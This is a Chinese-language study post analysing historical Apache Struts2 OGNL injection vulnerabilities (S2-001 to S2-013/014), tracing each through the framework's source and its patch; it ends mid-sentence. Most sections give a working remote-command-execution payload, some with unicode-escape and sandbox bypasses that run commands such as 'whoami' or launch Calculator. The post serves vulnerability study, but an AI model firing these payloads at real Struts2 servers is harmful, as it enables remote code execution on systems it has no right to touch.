0x01 前言
为了能过下班后和周末不用学习、混吃等死的美好生活,开始了知识补漏行动,于是就有了这篇又臭又长的学习笔记。调试环境打包放在了github上,直接用idea打开就可以运行调试。
https://github.com/proudwind/struts2_vulns/
0x02 漏洞分析
s2-001
影响版本: 2.0.0 - 2.0.8
payload
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
分析第一个漏洞的时候啰嗦一些,把struts2的运行流程梳理一下。
struts2是通过filter来拦截请求并处理,所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class
处,tomcat将请求交给struts2处理。
经过漫长的调用(待详细研究),在xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
的doIntercept
方法开始对传入的参数进行处理。
最后反射调用,又经过漫长的调用之后,在xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
的invokeAction
中调用了我们自定义的action。
在我们自定义的逻辑运行完之后,struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。
继续跟进,这部分调用是将action的运行结果返回给tomcat,下一步开始重新渲染jsp页面,开始解析struts2自定义的标签。跟进到struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
继续跟进到:struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
的evaluateParams
方法,对标签属性进行解析。
如果开启了altSyntax
,会将标签name
属性的值(这里是username),用%{}
包裹,进行进一步解析。
继续跟进到xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
的translateVariables
方法:
这里会将%{}
中的值取出来,放入findValue
方法中,继续跟进:
xwork-2.0.3.jar!/com/opensymphony/xwork2/util/OgnlValueStack.class
可以看到在这个方法中ognl表达式传入了OgnlUtil.getValue
并执行。
我们再回看translateVariables
方法:
这个方法对表达式是是递归解析的,如果说%{username}
的结果还是一个表达式(被%{}
包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。
防御
补丁中设置了一个最大循环解析次数,防止多次解析而造成漏洞。
s2-003
影响版本: 2.0.0 - 2.0.11.2
payload
1 | //s2-003,无回显,payload中特殊字符要urlencode,否则tomcat会报400 |
在tomcat9和tomcat8.5.45中发送payload都会返回400(urlencode也不好使),参考vulhub使用了tomcat8.5.14。
从payload来看,攻击分两步,首先开启ognl的方法调用,然后注入表达式执行代码。
在xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
的doIntercept
处开始进行参数绑定:
安全起见,struts2禁止ognl表达式调用方法。跟进setParameters
方法:
获取请求参数的key,并通过acceptableName
方法来验证是否合法,跟进看一下:
对ognl中的一些关键字进行了过滤,可以通过unicode来绕过(# -> \u0023
),具体原因会在分析中说,这就导致ognl表达式仍然可以正常执行。
验证完成之后,会对每一个传入的参数进行处理,并放入栈中。
继续跟进,来到xwork-2.0.4-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java
:
继续xwork-2.0.4-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java
这里首先在上下文的expressions
列表中查找是否有我们传入的表达式,如果没有就进行解析,并将结果保存在上下文中,接下来是一个极为漫长的调用:
到了ognl-2.6.11-sources.jar!/ognl/JavaCharStream.java
的readChar
方法:
如果\
后面有u
,会进行转码处理,又进行了一通set操作之后,来到了ognl-2.6.11-sources.jar!/ognl/ASTEval.java
的setValueBody
方法:
通过child的getValue
方法,开始将传入的表达式一层层“剥开”,在一通get操作之后,来到了getValueBody
方法:
此时node
已经是一个原始的ognl表达式了,继续跟进,经过一通调用之后:
在ognl-2.6.11-sources.jar!/ognl/OgnlRuntime.java
的setProperty
方法中,开启了方法调用。
至此我们完成了攻击的第一步,第二步代码执行过程比较相似,最后利用反射调用了表达式中的方法。
ognl-2.6.11-sources.jar!/ognl/ASTMethod.java
防御
事实证明官方对于s2-003的修复是失败的,但我们还是要看一下补丁,才能知道怎么绕过的:)。
首先是更为严格的正则表达式:
xwork-core-2.1.6-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java
但是并没有解决unicode编码绕过的问题。
同时设置了一个沙箱:
在上面的分析过程中,只跟到ognl-2.6.11-sources.jar!/ognl/ASTMethod.java
的callStaticMethod
方法就听了,现在继续跟进:
xwork-core-2.1.6.jar!/ognl/OgnlRuntime.class
跟进这个函数看一下:
xwork-core-2.1.6-sources.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.java
这就是struts2的沙箱,如果调用的方法是静态方法,则检查AllowStaticMethodAccess
,如果不允许,就只能调用白名单中的静态方法。
s2-005
影响版本: 2.0.0 - 2.1.8.1
如果继续用s2-003的payload,在调试过程中就会发现攻击的第一步,即:
1 | #context["xwork.MethodAccessor.denyMethodExecution"]=false |
是生效的:
只是在第二步反射调用方法的时候受到了限制,限制的核心就是默认为false的allowStaticMethodAccess
。那我们能不能用相同的方式将allowStaticMethodAccess
设置为空呢?当然是可以的,payload如下:
payload
1 | (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%5cu003dtrue%27)(a)(a)&(%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003dfalse%27)(a)(a)&(('%5cu0023rt.exec(%22open@-a@calculator.app%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))(a)(a) |
防御
补丁对参数的合法性进行了进一步的过滤:
xwork-core-2.2.3-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java
但是这样只是过滤了参数名,并没有过滤参数值,所以依然可以绕过,具体情况在s2-009中说。
s2-007
影响版本: 2.0.0 - 2.2.3
payload
1 | '+(paylaod)+' |
触发这个漏洞需要一些配置,首先要配置一个validator:
1 |
|
当我们传入的age参数无法通过验证时,页面会报错,同时触发漏洞。
请求在到达Action进行逻辑处理之前,会经过一系列的拦截器(interceptor),如果数据合法性验证不通过,会触发
xwork-core-2.2.3-sources.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.java
这个拦截器:
将传入的参数逐一验证合法性,并将验证不通过的key、value放到fakie
这个HashMap中。跟进getOverrideExpr
看一下:
struts2-core-2.2.3-sources.jar!/org/apache/struts2/interceptor/StrutsConversionErrorInterceptor.java
反编译可能有点问题,其实就是:
1 | return "'" + value + "'"; |
没有对value做任何过滤,直接拼接。所以paylaod为'+(paylaod)+'
,通过闭合单引号将ognl表达式注入进去。
剩下的流程在s2-001中有过描述,最后会进入xwork-2.0.3.jar!/com/opensymphony/xwork2/util/OgnlValueStack.class
的translateVariables
方法,进行ognl表达式的解析和执行。
防御
xwork-core-2.3.1-sources.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.java
防御非常简单,在拼接时对单引号进行了转义。
s2-008
影响版本: 2.1.0 - 2.3.1
payload
需开启debug模式。
1 | debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29) |
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
防御
在struts2-core-2.3.12.jar!/org/apache/struts2/interceptor/CookieInterceptor.class
和
xwork-core-2.3.12.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
中对加强了对参数的过滤。
s2-009
影响版本: 2.1.0 - 2.3.1
payload
1 | username=(%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean(false),%23_memberAccess["allowStaticMethodAccess"]%3d+new+java.lang.Boolean(true),%40java.lang.Runtime%40getRuntime().exec('open%40-a%40Calculator.app'.split("%40")))&z[(username)(1)] |
在s2-005的防御中我们提到了补丁仍然可以绕过,这是因为struts2只验证了参数的key的合法性,并没验证value。
这样就可以通过设置参数的value来将ognl表达式注入到上下文中。
首先我们将一个实际存在的参数的value设置为恶意的ognl表达式,以上面payload中的username参数为例。
接着我们传入第二个参数z[(username)(1)]
,struts2在解析这个表达式的时候会尝试调用Action中的getter来获取username的值(调用栈太长就不贴了)。
ognl-3.0.3-sources.jar!/ognl/OgnlRuntime.java
防御
xwork-core-2.3.12.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
再次修改了正则表达式,防止(ognl)(1)
这种形式的攻击。
s2-012
影响版本: 2.1.0 - 2.3.13
payload
直接使用s2-001的payload即可。
需要配置一个重定向:
1 | <action name="login" class="cn.seaii.s2001.action.LoginAction"> |
Action:
1 | public String execute() throws Exception { |
在自定义Action处理完请求之后,struts2会调用一系列的拦截器,将请求转化为响应。
xwork-core-2.3.12-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java
根据action的返回值(success、error、redirect等)来调用相应的类来处理。
继续跟进,会对要跳转到的地址进行一次ognl表达式的解析,又看到熟悉的translateVariables
了。
由于这里第一次是$
开头,恶意表达式是#
,都会解析一次,所以payload可以正常解析并执行。
防御
struts2默认禁用eval表达式的执行。
xwork-core-2.3.14.1.jar!/com/opensymphony/xwork2/config/impl/DefaultConfiguration.class
s2-013/s2-014
影响版本: 2.0.0 - 2.3.14.1
payload
1 | s2-013 |
struts2的标签中
<s:a>
和<s:url>
都有一个 includeParams 属性,可以设置成如下值
- none - URL中不包含任何参数(默认)
- get - 仅包含URL中的GET参数
- all - 在URL中包含GET和POST参数
当
includeParams=all
的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。此时
<s:a>
或<s:url>
尝试去解析原始请求参数时,会导致OGNL表达式的执行
1 | <%@ page language="java" contentType="text/html; charset=UTF-8" |
根据s2-001的经验,struts2在解析框架定义的标签时会调用
struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.java
的doStartTag
方法。
继续跟进到struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/components/ServletUrlRenderer.java
,这里会进行url的渲染。
跟进renderUrl
方法,然后继续跟进:
在struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java
中
会将所有参数进行遍历,然后对参数值进行解析。
struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java
跟进translateAndEncode
方法,又看到熟悉的translateVariables
方法了。
注意看此时的context:
是允许静态方法调用的,但是allowStaticMethodAccess
即沙箱是开启的。
防御
struts2-core-2.3.14.2-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java
中将translateAndEncode
方法改为了encode方法:
只将参数进行url编码后就返回,不再进行ognl表达式的解析。
与此同时,自2.3.14.2版本开始,struts2的沙箱发生了变化,xwork-core-2.3.14.2.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class
删除了setAllowStaticMethodAccess
方法。这就意味只我们无法通过之前`%